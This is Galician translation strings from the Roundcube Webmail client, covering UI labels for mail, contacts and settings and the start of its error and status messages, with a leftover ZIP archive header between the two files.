 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Dámosche a benvida a $product';
$labels['username'] = 'Nome de utente';
$labels['password'] = 'Contrasinal';
$labels['server'] = 'Servidor';
$labels['login'] = 'Acceder';
$labels['logout'] = 'Saír';
$labels['mail'] = 'Caixa de entrada';
$labels['settings'] = 'Axustes persoais';
$labels['addressbook'] = 'Axenda de enderezos';
$labels['inbox'] = 'Caixa de entrada';
$labels['drafts'] = 'Borradores';
$labels['sent'] = 'Enviados';
$labels['trash'] = 'Lixo';
$labels['junk'] = 'Correo lixo';
$labels['show_real_foldernames'] = 'Amosar nomes reais para cartafois especiais';
$labels['subject'] = 'Asunto';
$labels['from'] = 'Remitente';
$labels['sender'] = 'Remitente';
$labels['to'] = 'Destinatario(a)';
$labels['cc'] = 'Copia (Cc)';
$labels['bcc'] = 'Copia oculta (Cco)';
$labels['replyto'] = 'Responder a';
$labels['followupto'] = 'Responder a todos';
$labels['date'] = 'Data';
$labels['size'] = 'Tamaño';
$labels['priority'] = 'Prioridade';
$labels['organization'] = 'Organización';
$labels['readstatus'] = 'Estado da lectura';
$labels['listoptions'] = 'Opcións de lista...';
$labels['mailboxlist'] = 'Cartafoles';
$labels['messagesfromto'] = 'Mensaxes de $from para $to de $count';
$labels['threadsfromto'] = 'Fíos do $from para $to de $count';
$labels['messagenrof'] = 'Mensaxe $nr de $count';
$labels['fromtoshort'] = '$from - $to de $count';
$labels['copy'] = 'Copiar';
$labels['move'] = 'Mover';
$labels['moveto'] = 'Mover para...';
$labels['copyto'] = 'Copiar a...';
$labels['download'] = 'Descargar';
$labels['open'] = 'Abrir';
$labels['showattachment'] = 'Amosar';
$labels['showanyway'] = 'Amosar de todos os xeitos';
$labels['filename'] = 'Nome do ficheiro';
$labels['filesize'] = 'Tamaño do ficheiro';
$labels['addtoaddressbook'] = 'Engadir á Axenda de enderezos';
$labels['sun'] = 'Dom';
$labels['mon'] = 'Lun';
$labels['tue'] = 'Mar';
$labels['wed'] = 'Mér';
$labels['thu'] = 'Xov';
$labels['fri'] = 'Ven';
$labels['sat'] = 'Sáb';
$labels['sunday'] = 'Domingo';
$labels['monday'] = 'Luns';
$labels['tuesday'] = 'Martes';
$labels['wednesday'] = 'Mércores';
$labels['thursday'] = 'Xoves';
$labels['friday'] = 'Venres';
$labels['saturday'] = 'Sábado';
$labels['jan'] = 'Xan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Abr';
$labels['may'] = 'Maio';
$labels['jun'] = 'Xuñ';
$labels['jul'] = 'Xul';
$labels['aug'] = 'Ago';
$labels['sep'] = 'Set';
$labels['oct'] = 'Out';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dec';
$labels['longjan'] = 'Xaneiro';
$labels['longfeb'] = 'Febreiro';
$labels['longmar'] = 'Marzo';
$labels['longapr'] = 'Abril';
$labels['longmay'] = 'Maio';
$labels['longjun'] = 'Xuño';
$labels['longjul'] = 'Xullo';
$labels['longaug'] = 'Agosto';
$labels['longsep'] = 'Setembro';
$labels['longoct'] = 'Outubro';
$labels['longnov'] = 'Novembro';
$labels['longdec'] = 'Decembro';
$labels['today'] = 'Hoxe';
$labels['refresh'] = 'Actualizar';
$labels['checkmail'] = 'Procurar novas mensaxes';
$labels['compose'] = 'Redactar unha mensaxe';
$labels['writenewmessage'] = 'Redactar unha nova mensaxe';
$labels['reply'] = 'Responder';
$labels['replytomessage'] = 'Responder a mensaxe';
$labels['replytoallmessage'] = 'Responder á persoa remitente e a todas as destinatarias';
$labels['replyall'] = 'Responder a todos';
$labels['replylist'] = 'Responder á lista de correo';
$labels['forward'] = 'Reenviar';
$labels['forwardinline'] = 'Reenviar en liña';
$labels['forwardattachment'] = 'Reenviar como anexo';
$labels['forwardmessage'] = 'Reenviar a mensaxe';
$labels['deletemessage'] = 'Eliminar a mensaxe';
$labels['movemessagetotrash'] = 'Mover a mensaxe para o lixo';
$labels['printmessage'] = 'Imprimir esta mensaxe';
$labels['previousmessage'] = 'Amosar a mensaxe anterior';
$labels['firstmessage'] = 'Amosar a primeira mensaxe';
$labels['nextmessage'] = 'Amosar a seguinte mensaxe';
$labels['lastmessage'] = 'Amosar a última mensaxe';
$labels['backtolist'] = 'Voltar á lista de mensaxes';
$labels['viewsource'] = 'Ver código fonte';
$labels['mark'] = 'Marcar';
$labels['markmessages'] = 'Marcar mensaxes';
$labels['markread'] = 'Como lidas';
$labels['markunread'] = 'Como non lidas';
$labels['markflagged'] = 'Como marcadas';
$labels['markunflagged'] = 'Como non marcadas';
$labels['moreactions'] = 'Máis accións...';
$labels['folders-all'] = 'Tódalas cartafoles';
$labels['more'] = 'Máis';
$labels['back'] = 'Atrás';
$labels['options'] = 'Opcións';
$labels['first'] = 'Primeiro';
$labels['last'] = 'Último';
$labels['previous'] = 'Anterior';
$labels['next'] = 'Seguinte';
$labels['select'] = 'Seleccionar';
$labels['all'] = 'Todas';
$labels['none'] = 'Ningunha';
$labels['currpage'] = 'Páxina actual';
$labels['isread'] = 'Ler';
$labels['unread'] = 'Non lidas';
$labels['flagged'] = 'Marcadas';
$labels['unflagged'] = 'Non marcado';
$labels['unanswered'] = 'Non respostadas';
$labels['withattachment'] = 'Con anexo';
$labels['deleted'] = 'Marcadas como eliminadas';
$labels['undeleted'] = 'Non borradas';
$labels['replied'] = 'Respostado';
$labels['forwarded'] = 'Reenviado';
$labels['invert'] = 'Inverter';
$labels['filter'] = 'Filtrar';
$labels['list'] = 'Lista';
$labels['threads'] = 'Fíos';
$labels['expand-all'] = 'Expandir todos';
$labels['expand-unread'] = 'Expandir os non lidos';
$labels['collapse-all'] = 'Contraer todos';
$labels['threaded'] = 'Agrupar conversas';
$labels['autoexpand_threads'] = 'Expandir os fíos de mensaxes';
$labels['do_expand'] = 'todos os fíos';
$labels['expand_only_unread'] = 'só con mensaxes non lidas';
$labels['fromto'] = 'De/Para';
$labels['flag'] = 'Marca';
$labels['attachment'] = 'Anexo';
$labels['nonesort'] = 'Ningunha';
$labels['sentdate'] = 'Data de envío';
$labels['arrival'] = 'Data de chegada';
$labels['asc'] = 'ascendente';
$labels['desc'] = 'descendente';
$labels['listcolumns'] = 'Enumerar columnas';
$labels['listsorting'] = 'Ordenar en columnas';
$labels['listorder'] = 'Ordenación';
$labels['listmode'] = 'Modo de vista da lista';
$labels['layoutlist'] = 'Lista';
$labels['folderactions'] = 'Accións cos cartafoles';
$labels['compact'] = 'Compactar';
$labels['empty'] = 'Baleirar';
$labels['importmessages'] = 'Importar mensaxes';
$labels['quota'] = 'Uso de disco';
$labels['unknown'] = 'descoñecido';
$labels['unlimited'] = 'ilimitado';
$labels['quotatype'] = 'Tipo de quota';
$labels['quotatotal'] = 'Límite';
$labels['quotaused'] = 'Usado';
$labels['quotastorage'] = 'Espazo en disco';
$labels['quotamessage'] = 'Conteo de mensaxes';
$labels['quicksearch'] = 'Busca rápida';
$labels['resetsearch'] = 'Restabelecer a pesquisa';
$labels['searchmod'] = 'Modificadores de pesquisa';
$labels['msgtext'] = 'Toda a mensaxe';
$labels['body'] = 'Corpo';
$labels['type'] = 'Tipo';
$labels['namex'] = 'Nome';
$labels['searchscope'] = 'Alcance';
$labels['currentfolder'] = 'Cartafol actual';
$labels['subfolders'] = 'Esta cartafol e as súas fillas';
$labels['allfolders'] = 'Tódalas cartafoles';
$labels['openinextwin'] = 'Abrir nunha nova xanela';
$labels['emlsave'] = 'Descargar (.eml)';
$labels['changeformattext'] = 'Amosar en texto plano';
$labels['changeformathtml'] = 'Amosar en HTML';
$labels['editasnew'] = 'Editar como nova';
$labels['send'] = 'Enviar';
$labels['sendmessage'] = 'Enviar a mensaxe agora';
$labels['savemessage'] = 'Gardar a mensaxe como borrador';
$labels['addattachment'] = 'Anexar un ficheiro';
$labels['charset'] = 'Codificación';
$labels['editortype'] = 'Tipo de editor';
$labels['returnreceipt'] = 'Notificación da entrega';
$labels['dsn'] = 'Notificación do estado de envío (DSN)';
$labels['mailreplyintro'] = 'O $date, $sender escribiu:';
$labels['originalmessage'] = 'Mensaxe orixinal';
$labels['selectimage'] = 'Seleccionar imaxe';
$labels['addimage'] = 'Engadir imaxe';
$labels['selectmedia'] = 'Escoller película';
$labels['addmedia'] = 'Engarid película';
$labels['insert'] = 'Inserir';
$labels['recipient'] = 'Persoa destinataria';
$labels['editidents'] = 'Modificar identidades';
$labels['spellcheck'] = 'Ortografía';
$labels['checkspelling'] = 'Revisar a ortografía';
$labels['resumeediting'] = 'Voltar á edición';
$labels['revertto'] = 'Voltar a';
$labels['restore'] = 'Restaurar';
$labels['restoremessage'] = 'Restaurar mensaxe?';
$labels['responses'] = 'Respostas';
$labels['insertresponse'] = 'Inserir unha resposta';
$labels['manageresponses'] = 'Xestionar respostas';
$labels['newresponse'] = 'Crear nova resposta';
$labels['addresponse'] = 'Engadir resposta';
$labels['editresponse'] = 'Editar resposta ';
$labels['editresponses'] = 'Editar respostas';
$labels['responsename'] = 'Nome';
$labels['responsetext'] = 'Texto de resposta';
$labels['attach'] = 'Anexar';
$labels['attachments'] = 'Ficheiros anexos';
$labels['upload'] = 'Cargar';
$labels['close'] = 'Pechar';
$labels['messageoptions'] = 'Opcións da mensaxe...';
$labels['togglecomposeoptions'] = 'Conmutar opcións de redacción';
$labels['low'] = 'Baixa';
$labels['lowest'] = 'A máis baixa';
$labels['normal'] = 'Normal';
$labels['high'] = 'Alta';
$labels['highest'] = 'A máis alta';
$labels['nosubject'] = '(Sen asunto)';
$labels['showimages'] = 'Amosar as imaxes';
$labels['alwaysshow'] = 'Amosar sempre as imaxes nas mensaxes de $sender';
$labels['isdraft'] = 'Esta mensaxe é un borrador';
$labels['andnmore'] = '$nr máis...';
$labels['togglemoreheaders'] = 'Amosar máis cabecerias';
$labels['togglefullheaders'] = 'Mudar os encabezados das mensaxes';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Só texto';
$labels['savesentmessagein'] = 'Gardar a mensaxe enviada en';
$labels['dontsave'] = 'non gardar';
$labels['maxuploadsize'] = 'O tamaño máximo permitido para o ficheiro é de $size';
$labels['addcc'] = 'Engadir Copia (CC)';
$labels['addbcc'] = 'Engadir Copia oculta (BCC)';
$labels['addreplyto'] = 'Engadir Responder a (Reply-To)';
$labels['addfollowupto'] = 'Engadir Respostar a todos (Followup-To)';
$labels['mdnrequest'] = 'A persoa remitente pediu ser notificada cando a mensaxe for lida. Queres enviar notificación á persoa remitente?';
$labels['receiptread'] = 'Notificación da entrega da mensaxe (lectura)';
$labels['yourmessage'] = 'Esta é unha notificación da entrega da túa mensaxe';
$labels['receiptnote'] = 'Nota: Esta notificación só confirma que a mensaxe se abriu no computador da persoa destinataria. Non asegura que a persoa destinataria a lera ou entendera o seu contido.';
$labels['name'] = 'Nome completo';
$labels['firstname'] = 'Nome';
$labels['surname'] = 'Apelidos';
$labels['middlename'] = 'Segundo nome';
$labels['nameprefix'] = 'Forma de tratamento (Prefixo)';
$labels['namesuffix'] = 'Forma de tratamento (Sufixo)';
$labels['nickname'] = 'Alcume';
$labels['jobtitle'] = 'Titulación';
$labels['department'] = 'Departamento';
$labels['gender'] = 'Xénero';
$labels['maidenname'] = 'Nome de solteira';
$labels['email'] = 'Correo Electrónico';
$labels['phone'] = 'Teléfono';
$labels['address'] = 'Enderezo';
$labels['street'] = 'Rúa';
$labels['locality'] = 'Poboación';
$labels['zipcode'] = 'Código postal';
$labels['region'] = 'Provincia';
$labels['country'] = 'País';
$labels['birthday'] = 'Aniversario';
$labels['anniversary'] = 'Aniversario';
$labels['website'] = 'Sitio web';
$labels['instantmessenger'] = 'Mensaxería instantánea';
$labels['notes'] = 'Anotacións';
$labels['male'] = 'home';
$labels['female'] = 'muller';
$labels['manager'] = 'Xerente';
$labels['assistant'] = 'Asistente';
$labels['spouse'] = 'Parella';
$labels['allfields'] = 'Todos os campos';
$labels['search'] = 'Procurar';
$labels['advsearch'] = 'Procura avanzada';
$labels['advanced'] = 'Avanzado';
$labels['other'] = 'Outro';
$labels['typehome'] = 'Casa';
$labels['typework'] = 'Traballo';
$labels['typeother'] = 'Outro';
$labels['typemobile'] = 'Móbil';
$labels['typemain'] = 'Principal';
$labels['typehomefax'] = 'Fax da casa';
$labels['typeworkfax'] = 'Fax do traballo';
$labels['typecar'] = 'Coche';
$labels['typepager'] = 'Buscapersoas';
$labels['typevideo'] = 'Vídeo';
$labels['typeassistant'] = 'Asistente';
$labels['typehomepage'] = 'Páxina principal';
$labels['typeblog'] = 'Blogue';
$labels['typeprofile'] = 'Perfil';
$labels['addfield'] = 'Engadir campo...';
$labels['addcontact'] = 'Engadir contacto';
$labels['editcontact'] = 'Modificar este contacto';
$labels['contacts'] = 'Contactos';
$labels['contactproperties'] = 'Propiedades do contacto';
$labels['contactnameandorg'] = 'Nome e organización';
$labels['personalinfo'] = 'Información persoal';
$labels['contactphoto'] = 'Foto do contacto';
$labels['edit'] = 'Editar';
$labels['cancel'] = 'Cancelar';
$labels['save'] = 'Gardar';
$labels['delete'] = 'Eliminar';
$labels['discard'] = 'Descartar';
$labels['rename'] = 'Mudar o nome';
$labels['addphoto'] = 'Engadir';
$labels['replacephoto'] = 'Substituír';
$labels['uploadphoto'] = 'Subir foto';
$labels['newcontact'] = 'Crear contacto novo';
$labels['deletecontact'] = 'Eliminar os contactos seleccionados';
$labels['composeto'] = 'Redactar mensaxe para';
$labels['contactsfromto'] = 'Contactos do $from ao $to de $count';
$labels['print'] = 'Imprimir';
$labels['export'] = 'Exportar';
$labels['exportall'] = 'Exportar todas';
$labels['exportsel'] = 'Exportar as seleccionadas';
$labels['exportvcards'] = 'Exportar os contactos en formato vCard';
$labels['newgroup'] = 'Crear novo grupo';
$labels['grouprename'] = 'Mudar o nome do grupo';
$labels['groupdelete'] = 'Borrar o grupo';
$labels['groupremoveselected'] = 'Eliminar do grupo os contactos seleccionados';
$labels['uponelevel'] = 'Subir un nivel';
$labels['previouspage'] = 'Amosar o grupo anterior';
$labels['firstpage'] = 'Amosar o primeiro grupo';
$labels['nextpage'] = 'Amosar o seguinte grupo';
$labels['lastpage'] = 'Amosar o último grupo';
$labels['group'] = 'Grupo';
$labels['groups'] = 'Grupos';
$labels['listgroup'] = 'Lista de integrantes do grupo';
$labels['personaladrbook'] = 'Enderezos persoais';
$labels['searchsave'] = 'Gardar procura';
$labels['searchdelete'] = 'Eliminar procura';
$labels['import'] = 'Importar';
$labels['importcontacts'] = 'Importar contactos';
$labels['importtarget'] = 'Engadir contactos a';
$labels['importreplace'] = 'Substituír completamente a Axenda de enderezos';
$labels['importgroups'] = 'Importar atribucións do grupo';
$labels['importgroupsall'] = 'Todos (crear grupos, se for necesario)';
$labels['importgroupsexisting'] = 'Só para os grupos existentes';
$labels['done'] = 'Feito!';
$labels['settingsfor'] = 'Axustes de';
$labels['about'] = 'Acerca de';
$labels['preferences'] = 'Preferencias';
$labels['userpreferences'] = 'Preferencias de utente';
$labels['editpreferences'] = 'Editar preferencias de utente';
$labels['identities'] = 'Identidades';
$labels['manageidentities'] = 'Administrar identidades';
$labels['newidentity'] = 'Crear identidade nova';
$labels['addidentity'] = 'Engadir identidad';
$labels['editidentity'] = 'Editar identidade';
$labels['preferhtml'] = 'Prefiro HTML';
$labels['defaultcharset'] = 'Xogo de caracteres por omisión';
$labels['htmlmessage'] = 'Mensaxe HTML';
$labels['messagepart'] = 'Parte';
$labels['digitalsig'] = 'Sinatura dixital';
$labels['dateformat'] = 'Formato da data';
$labels['timeformat'] = 'Formato da hora';
$labels['prettydate'] = 'Data sinalada';
$labels['setdefault'] = 'Usar como predeterminada';
$labels['autodetect'] = 'Detectar automáticamente';
$labels['language'] = 'Lingua';
$labels['timezone'] = 'Zona horaria';
$labels['pagesize'] = 'Liñas por páxina';
$labels['signature'] = 'Sinatura';
$labels['dstactive'] = 'Mudar a hora según horario de verán';
$labels['showinextwin'] = 'Abrir a mensaxe nunha nova xanela';
$labels['composeextwin'] = 'Redactar nunha xanela nova';
$labels['htmleditor'] = 'Redactar mensaxes HTML';
$labels['htmlonreply'] = 'só cando se resposte a unha mensaxe HTML';
$labels['htmlonreplyandforward'] = 'ao reenviar ou respostar a unha mensaxe HTML';
$labels['htmlsignature'] = 'Sinatura HTML';
$labels['showemail'] = 'Amosar enderezo de correo co nome en pantalla';
$labels['previewpane'] = 'Amosar previsualización';
$labels['skin'] = 'Aspecto da interface';
$labels['logoutclear'] = 'Baleirar o lixo ao saír';
$labels['logoutcompact'] = 'Compactar a caixa de entrada ao saír';
$labels['uisettings'] = 'Interface de utente';
$labels['serversettings'] = 'Axustes do servidor';
$labels['mailboxview'] = 'Vista da caixa de correo';
$labels['mdnrequests'] = 'Cando se solicitan notificacións da entrega';
$labels['askuser'] = 'preguntarme que facer';
$labels['autosend'] = 'enviar automáticamente';
$labels['autosendknown'] = 'enviar aos meus contactos, noutros casos preguntar';
$labels['autosendknownignore'] = 'enviar aos meus contactos, noutros casos ignorar';
$labels['readwhendeleted'] = 'Marcar a mensaxe como lida ao eliminar';
$labels['flagfordeletion'] = 'Marcar a mensaxe para eliminar en vez de eliminar';
$labels['skipdeleted'] = 'Non amosar as mensaxes marcadas como eliminadas';
$labels['deletealways'] = 'Se falla Mover mensaxes para o lixo, eliminalas';
$labels['deletejunk'] = 'Borrar automáticamente as mensaxes no cartafol "Correo lixo"';
$labels['showremoteimages'] = 'Amosar as imaxes remotas';
$labels['fromknownsenders'] = 'con remite coñecido';
$labels['always'] = 'sempre';
$labels['showinlineimages'] = 'Amosar as imaxes anexas baixo a mensaxe';
$labels['autosavedraft'] = 'Gardar borrador automáticamente';
$labels['everynminutes'] = 'cada $n minuto(s)';
$labels['refreshinterval'] = 'Refrescar (buscar novas mensaxes, etc)';
$labels['never'] = 'nunca';
$labels['immediately'] = 'de inmediato';
$labels['messagesdisplaying'] = 'Visualización das mensaxes';
$labels['messagescomposition'] = 'Composición das mensaxes';
$labels['mimeparamfolding'] = 'Nomes dos ficheiros anexos';
$labels['2231folding'] = 'Conforme ao RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Conforme ao RFC 2047 (outros)';
$labels['force7bit'] = 'Usar MIME para codificar caracteres de 8 bits';
$labels['advancedoptions'] = 'Opcións avanzadas';
$labels['toggleadvancedoptions'] = 'Amosar opcións avanzadas';
$labels['focusonnewmessage'] = 'Centrar a xanela do navegador en novas mensaxes';
$labels['checkallfolders'] = 'Procurar novas mensaxes en todos os cartafoles';
$labels['defaultfont'] = 'Fonte por defecto da mensaxe HTML';
$labels['mainoptions'] = 'Opcións principais';
$labels['browseroptions'] = 'Opcións do navegador';
$labels['section'] = 'Sección';
$labels['maintenance'] = 'Mantemento';
$labels['newmessage'] = 'Nova mensaxe';
$labels['signatureoptions'] = 'Opcións da firma';
$labels['whenreplying'] = 'Ao responder';
$labels['replyempty'] = 'non citar a mensaxe orixinal';
$labels['replytopposting'] = 'comezar a nova mensaxe antes da orixinal';
$labels['replybottomposting'] = 'comezar a nova mensaxe despois da orixinal';
$labels['replyremovesignature'] = 'Eliminar a firma do remite ao respostar';
$labels['autoaddsignature'] = 'Engadir firma automáticamente';
$labels['newmessageonly'] = 'só nas mensaxes novas';
$labels['replyandforwardonly'] = 'só nas respostas e reenvíos';
$labels['insertsignature'] = 'Engadir firma';
$labels['afternseconds'] = 'despois de $n segundos';
$labels['reqmdn'] = 'Solicitar sempre unha notificación da entrega';
$labels['reqdsn'] = 'Solicitar sempre unha notificación do estado de envío';
$labels['replysamefolder'] = 'Deixar as respostas no cartafol onde está a mensaxe á que se responde';
$labels['defaultabook'] = 'Caderno de enderezos por defecto';
$labels['autocompletesingle'] = 'Ignorar as direccións alternativas no autocompletado';
$labels['listnamedisplay'] = 'Listar os contactos coma';
$labels['spellcheckbeforesend'] = 'Revisar a ortografía antes de enviar unha mensaxe';
$labels['spellcheckoptions'] = 'Opción da revisión ortográfica';
$labels['spellcheckignoresyms'] = 'Ignorar as palabras con símbolos';
$labels['spellcheckignorenums'] = 'Ignorar as palabras con números';
$labels['spellcheckignorecaps'] = 'Ignorar as palabras escritas en maiúsculas';
$labels['addtodict'] = 'Engadir ao diccionario';
$labels['mailtoprotohandler'] = 'Rexistrar o manexador de protocolo para as ligazóns "mailto:"';
$labels['standardwindows'] = 'Manexar avisos emerxentes como xanelas estándar';
$labels['forwardmode'] = 'Reenvio de mensaxes';
$labels['inline'] = 'inserido';
$labels['asattachment'] = 'coma anexo';
$labels['replyallmode'] = 'Acción dpor defecto do botón [Responder a todos]';
$labels['replyalldefault'] = 'responder a todos';
$labels['replyalllist'] = 'responder só para a lista (se for atopada)';
$labels['allmessages'] = 'todas as mensaxes';
$labels['folder'] = 'Cartafol';
$labels['folders'] = 'Cartafoles';
$labels['foldername'] = 'Nome do cartafol';
$labels['subscribed'] = 'Subscrito(a)';
$labels['messagecount'] = 'Mensaxes';
$labels['create'] = 'Crear';
$labels['createfolder'] = 'Crear un novo cartafol';
$labels['managefolders'] = 'Xestionar cartafoles';
$labels['specialfolders'] = 'Cartafoles especiais';
$labels['properties'] = 'Propiedades';
$labels['folderproperties'] = 'Propiedades do cartafol';
$labels['parentfolder'] = 'Cartafol principal';
$labels['location'] = 'Situación';
$labels['info'] = 'Información';
$labels['getfoldersize'] = 'Preme para calcular o tamaño do cartafol';
$labels['changesubscription'] = 'Preme para mudar a subscrición';
$labels['foldertype'] = 'Tipo do cartafol';
$labels['personalfolder'] = 'Cartafol privado';
$labels['otherfolder'] = 'Cartafol de outra persoa usuaria';
$labels['sharedfolder'] = 'Cartafol público';
$labels['sortby'] = 'Ordenar por';
$labels['sortasc'] = 'Orde ascendente';
$labels['sortdesc'] = 'Orde descendente';
$labels['undo'] = 'Desfacer';
$labels['installedplugins'] = 'Complementos instalados';
$labels['plugin'] = 'Complemento';
$labels['version'] = 'Versión';
$labels['source'] = 'Fonte';
$labels['license'] = 'Licenza';
$labels['support'] = 'Obter axuda';
$labels['B'] = 'B';
$labels['KB'] = 'KiB';
$labels['MB'] = 'MiB';
$labels['GB'] = 'GiB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Inglés';
$labels['westerneuropean'] = 'Europeo Occidental';
$labels['easterneuropean'] = 'Europeo Oriental';
$labels['southeasterneuropean'] = 'Europeo Suroriental';
$labels['baltic'] = 'Báltico';
$labels['cyrillic'] = 'Cirílico';
$labels['arabic'] = 'Arábigo';
$labels['greek'] = 'Grego';
$labels['hebrew'] = 'Hebreo';
$labels['turkish'] = 'Turco';
$labels['nordic'] = 'Nórdico';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Celta';
$labels['vietnamese'] = 'Vietnamita';
$labels['japanese'] = 'Xaponés';
$labels['korean'] = 'Coreano';
$labels['chinese'] = 'Chinés';
$labels['arialabeltasknav'] = 'Tarefas da aplicación';
$labels['arialabelactivetask'] = 'Tarefa activa';
$labels['arialabelmessagessearchfilter'] = 'Filtro de listaxe de correo';
$labels['arialabelmailsearchform'] = 'Formulario de busca de mensaxes de correo';
$labels['arialabelcontactsearchform'] = 'Formulario de busca de contactos';
$labels['arialabelmessagelist'] = 'Listaxe de mensaxes de correo';
$labels['arialabelmailpreviewframe'] = 'Previsualización das mensaxes';
$labels['arialabelmailboxmenu'] = 'Menú das accións de cartafol';
$labels['arialabellistselectmenu'] = 'Menú de selección de listaxe';
$labels['arialabelthreadselectmenu'] = 'Menú da listaxe por fíos';
$labels['arialabelmailimportdialog'] = 'Diálogo de importación de mensaxes';
$labels['arialabelmessagenav'] = 'Navegación pola mensaxe';
$labels['arialabelmessagebody'] = 'Corpo da mensaxe';
$labels['arialabelmessageactions'] = 'Accións da mensaxe';
$labels['arialabelcontactquicksearch'] = 'Formulario de busca de contactos';
$labels['arialabelmessageheaders'] = 'Cabeceiras da mensaxe';
$labels['arialabelforwardingoptions'] = 'Opcións de "Reenviar"';
$labels['arialabelreplyalloptions'] = 'Opcións de "Respostar a todos"';
$labels['arialabelmoremessageactions'] = 'Máis accións de mensaxe';
$labels['arialabelmarkmessagesas'] = 'Marcar as mensaxes seleccionadas coma...';
$labels['arialabelcomposeoptions'] = 'Opcións de redacción';
$labels['arialabelattachmentuploadform'] = 'Formulario de subida de anexos';
$labels['arialabelattachmentpreview'] = 'Previsualizar anexos';
$labels['arialabelcontactexportoptions'] = 'Opcións do exportado de contactos';
$labels['arialabelabookgroupoptions'] = 'Opcións de axenda de enderezos/grupos';
$labels['arialabelpreferencesform'] = 'Formulario de preferencias';
$labels['arialabelidentityeditfrom'] = 'Formulario de edición de identidade';
$labels['arialabelresponseeditfrom'] = 'Formulario de edición de resposta';
$labels['helplistnavigation'] = 'Navegación pola lista con teclado';
$labels['helplistkeyboardnavcontacts'] = "Enter: Abrir o contacto seleccionado.";
PK
h�\q�o2020'program/localization/gl_ES/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Ocurreu un erro!';
$messages['loginfailed']  = 'O contrasinal ou o nome de utente son incorrectos.';
$messages['cookiesdisabled'] = 'O teu navegador non acepta cookies.';
$messages['sessionerror'] = 'A tú sesión non é válida ou expirou.';
$messages['storageerror'] = 'Fallou a conexión co servidor IMAP.';
$messages['servererror'] = 'Erro do servidor!';
$messages['servererrormsg'] = 'Erro do servidor: $msg';
$messages['connerror'] = 'Fallou a conexión co servidor!';
$messages['dberror'] = 'Erro na base de datos!';
$messages['windowopenerror'] = 'Bloquouse a fiestra emerxente!';
$messages['requesttimedout'] = 'A petición expirou';
$messages['errorreadonly'] = 'Non foi posíbel realizar a operación. O cartafol é de só lectura.';
$messages['errornoperm'] = 'Non foi posíbel realizar a operación. Permiso denegado.';
$messages['erroroverquota'] = 'Non se pode realizar a operación, non hai espazo no disco.';
$messages['erroroverquotadelete'] = 'Non hai espazo no disco. Usa Maiúsculas+Supr para borrar unha mensaxe.';
$messages['invalidrequest'] = 'Petición non válida! Non se gardou ningún dato.';
$messages['invalidhost'] = 'O nome do servidor non é válido.';
$messages['nomessagesfound'] = 'Non se atoparon mensaxes nesta caixa de correo.';
$messages['mailboxempty'] = 'O cartafol está baleiro';
$messages['nomessages'] = 'Non hai mensaxes';
$messages['refreshing'] = 'A refrescar...';
$messages['loading'] = 'Cargando...';
$messages['uploading'] = 'Cargando ficheiro...';
$messages['uploadingmany'] = 'Cargando ficheiros...';
$messages['loadingdata'] = 'Cargando datos...';
$messages['checkingmail'] = 'Á procura de novas mensaxes...';
$messages['sendingmessage'] = 'Enviando mensaxe...';
$messages['messagesent'] = 'A mensaxe enviouse correctamente.';
$messages['savingmessage'] = 'Gardando mensaxe...';
$messages['messagesaved'] = 'A mensaxe gardouse en "Borradores"';
$messages['successfullysaved'] = 'Gardado correctamente.';
$messages['savingresponse'] = 'Gardar texto de resposta...';
$messages['deleteresponseconfirm'] = 'Realmente queres borrar este texto de resposta?';
$messages['addedsuccessfully'] = 'O contacto engadiuse correctamente á Axenda de enderezos.';
$messages['contactnameexists'] = 'Xa existe un contacto con este nome.';
$messages['blockedimages'] = 'Estanse a bloquear as imaxes remotas para protexer a túa privacidade.';
$messages['encryptedmessage'] = 'Sentímolo! Non se pode amosar a mensaxe porque está cifrada.';
$messages['nocontactsfound'] = 'Non se atoparon contactos.';
$messages['contactnotfound'] = 'Non se atopou o contacto solicitado.';
$messages['sendingfailed'] = 'Fallou o envío da mensaxe.';
$messages['senttooquickly'] = 'Por favor, espera $sec segundos antes de enviar esta mensaxe.';
$messages['errorsavingsent'] = 'Houbo un erro ao gardar a mensaxe enviada.';
$messages['errorsaving'] = 'Houbo un erro ao gardar.';
$messages['errormoving'] = 'Non foi posíbel mover a(s) mensaxe(s).';
$messages['errorcopying'] = 'Non foi posíbel copiar a(s) mensaxe(s).';
$messages['errordeleting'] = 'Non foi posíbel eliminar a(s) mensaxe(s).';
$messages['errormarking'] = 'Non foi posíbel marcar a(s) mensaxe(s).';
$messages['deletecontactconfirm']  = 'Queres eliminar o(s) contacto(s) seleccionado(s)?';
$messages['deletegroupconfirm']  = 'Queres eliminar o grupo seleccionado?';
$messages['deletemessagesconfirm'] = 'Queres eliminar a(s) mensaxe(s) seleccionadas?';
$messages['deletefolderconfirm']  = 'Queres eliminar este cartafol?';
$messages['purgefolderconfirm']  = 'Queres eliminar todas as mensaxes neste cartafol?';
$messages['contactdeleting'] = 'Eliminando o(s) contacto(s)...';
$messages['groupdeleting'] = 'Eliminando o grupo...';
$messages['folderdeleting'] = 'Eliminando o cartafol...';
$messages['foldermoving'] = 'Movendo o cartafol...';
$messages['foldersubscribing'] = 'Subscribindo o cartafol...';
$messages['folderunsubscribing'] = 'Desubscribindo o cartafol...';
$messages['formincomplete'] = 'O formulario non foi completamente cuberto.';
$messages['noemailwarning'] = 'Por favor, engade un enderezo de correo electrónico válido.';
$messages['nonamewarning']  = 'Por favor, engade un nome.';
$messages['nopagesizewarning'] = 'Por favor, engade un tamaño de páxina.';
$messages['norecipientwarning'] = 'Por favor, engade polo menos unha persoa destinataria.';
$messages['nosubjectwarning']  = 'O campo "Asunto" está baleiro. Queres completalo?';
